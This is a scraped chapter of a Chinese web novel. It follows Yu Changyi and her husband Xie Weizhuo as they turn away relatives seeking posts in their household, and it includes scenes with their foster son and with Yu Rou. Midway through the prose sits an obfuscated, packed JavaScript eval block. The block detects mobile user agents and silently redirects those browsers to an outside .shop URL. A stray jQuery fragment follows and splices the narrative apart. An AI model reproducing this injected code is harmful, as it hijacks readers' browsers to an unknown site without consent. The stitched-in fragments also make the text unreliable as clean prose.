虞长仪听完他们前期做的铺垫,又听见他们向谢卫琢提出的诉求,生怕谢卫琢心一软直接应下,他们常远侯府可塞不下这么多人。
再说世家大族的家奴都是经过专业训练才上任的,许多家奴都是家生子。
因为涉及颇多,一般的权贵人家很少会从人牙子手里买奴。
但也并非没有,只是卖来的下人很少放在近前伺候,月钱也不多。
更何况卖身进大家族做奴也是要吃不少苦头的,这群人只看着眼前的利益,以为把自己的儿女,侄子侄女送进侯府就能高枕无忧,成袋成袋地往家里送银子,殊不知他们要是做错了什么事,可是要挨板子的。
再说句更不好听的,如果他们卖身的人家出事,他们也要被牵连。
总之,富贵他们不一定能跟主人家同时享有,贫贱却是要一起享有的。
生怕谢卫琢不好意思拒绝他们,虞长仪已经做好准备替他开口了。
正当她酝酿该如何保全谢卫琢的颜面又能让她们死了这条心时,谢卫琢却笑着开口:“我家的事向来由不得我做主。”
众人唏嘘,“就算你不做主,那也是侯府的主子,只要你这个当主子的开口,这件事就不成问题。”
“我虽是侯府的主子,但我半年未归家,家中老母只能由妻子照顾,如今我已背上不孝子弟的罪名,哪敢再提。”
谢卫琢搬出孝道,含糊其辞的话术竟让众人没法子再道德绑架。
毕竟当今圣上推崇孝道,要是他们谁敢反驳,不就等同于反驳圣上的意思。
陈家就是个鲜明的例子,没人愿意步陈家的后尘。
虞长仪见众人散去,这才意识到谢卫琢只是看着像个软柿子好拿捏,倒也没那么容易被忽悠。
她微微松了口气。
就这一个细微的表情,却被谢卫琢看在眼里。
他忍不住一笑,弯起柳眉看向她,“夫人不会以为我会任他们摆布,是个蠢蛋吧。”
虞长仪听到他这么直白的问话,很庆幸自己手里没有端着茶杯,不然她真的会喷出去。
她轻咳一声,“夫君哪里的话,我并没这么想。”
谢卫琢勾了勾唇,“夫人就算真这么想我也不会怪你。”
“为什么?”
虞长仪看向他那双柔情的眼,有些不解。
“因为”谢卫琢微微扬起下巴,托着长腔道:“夫人这半年辛苦了。”
虞长仪没想到他会用这样一个理由来揶揄自己,立马别过头,生怕被他察觉自己发红的脸。
奇怪,她怎么觉得浑身开始发烫了?
难道是换个地方水土不服了?
“我们还是赶快去饭馆吧,我饿了。”
接下来的路程里,虞长仪并没同谢卫琢过多交谈。
除了谢卫琢偶尔问起家里的情况,她如实回答,两人倒也没聊其他的。
等到用完膳,她提起要回客栈,谢卫琢却说自己要出去一趟。
虞长仪大概也猜得出他要去哪里,点了点头,“既然陈家人已经被送进大牢,钱先生那里也安全了,待会儿我就让侯府暗卫回来。”
谢卫琢道了声谢,执意要把她送到客栈后才离开。
刚回到上厢房,谢堂就顺着门缝溜进来,热切地黏到她身边,拉住她的手臂,“母亲,父亲现在回来了,你跟父亲什么时候给我生个弟弟?”
养子突然催生,虞长仪这次倒没躲过喷茶的命运,实在没憋住。
等她不好意思地用手帕擦去嘴角的茶渍,震惊地看向谢堂,“这是谁教你的?”
谢堂撇嘴,“母亲,孩儿过了年就八岁了。”
言外之意,他已经到了什么都懂的年纪,没必要把他当小孩看。
虞长仪却觉得这件事现在谈起来还太早,她跟世子才刚刚见面呢!
谢堂却心急道:“母亲,如果你生了小弟弟,可以让弟弟跟我练武吗?”
说起练武,虞长仪不由得想起谢堂上一世长大后的样子。
虽然虞柔不上心,好在侯府是她当家,倒也缺不了他的吃食穿着,谢堂倒是长得高高壮壮,再加上模样周正,倒也招了一些姑娘的喜欢,想要同他议亲。
可惜虞柔对他不上心,也瞧不上那些前来提亲的人家。
这一来二去就给谢堂耽误了。
只不过谢堂虽然长得好看,却跟谢卫琢的好看不是同一种类型。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14350570|152705||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
谢卫琢男身女相,清秀里带了一抹柔弱。
谢堂过于端正,英姿飒爽,阳刚十足。
对比二人,虞长仪意识到自己好像更偏向前者。
或许因为她本身就比较要强,如果夫君更加好强,她会生出攀比之心。
嬷嬷说过,如果她处处跟自己的夫君较真,夫妻生活定不会和睦,劝她服软。
可她从小并非软绵性子,父亲也将她当男子抚养,同她言论朝政之事,看重她的本领。
所以她前世才会专心培养谢柳,想让他成为朝廷栋梁之才,能够帮她实现心中抱负。
不过她现在想通了,自己的抱负无需寄托他人。
至于夫妻生活,她前世没经历过,这一世也没经验,只能
慢慢摸索。
但她能够确定,自己并不是慕强的人。
相反,她倒是挺喜欢跟谢卫琢这般柔软的性子在一起。
至少她不用在他面前刻意藏拙,也不必说那些阿谀的话,相反谢卫琢还会同她聊一些民生市井乐子。
对于这样的夫君,她现在算是满意的。
谢卫琢去了钱先生的院子后,托人捎了话送回客栈,说他今晚要留宿钱先生院里交代些事情。
虽然他没细说自己要交代什么事情,但从下午两人的谈话里虞长仪已经能确定他会跟他们一起返京。
大黑听说谢卫琢愿意跟他们一起回去,顿时热泪盈眶。
“夫人,您是不知道我们兄弟几个人的嘴皮子都快磨破了,世子就是半点不松口,没想到您一来,世子就跟您回了,早知道我们就该早点请您过来,也不必带什么小像了。”
听到大黑提起小像,虞长仪才想起这件事,问了一句:“那副小像呢?”
大黑答:“世子说丑,让我们给丢了。”
虞长仪:“”
幸好虞柔不在这里,要是她听说自己精心保养的样貌被人说丑,十有八九又要闹起来了。
此时正在庄上嚷嚷着要吃蜜瓜的虞柔突然打了个喷嚏,紧接着砸下一个杯子到地上,怒目圆瞪地看着面前的丫鬟,训斥道:“没用的东西,连个蜜瓜都买不到,我还养着你有什么用?”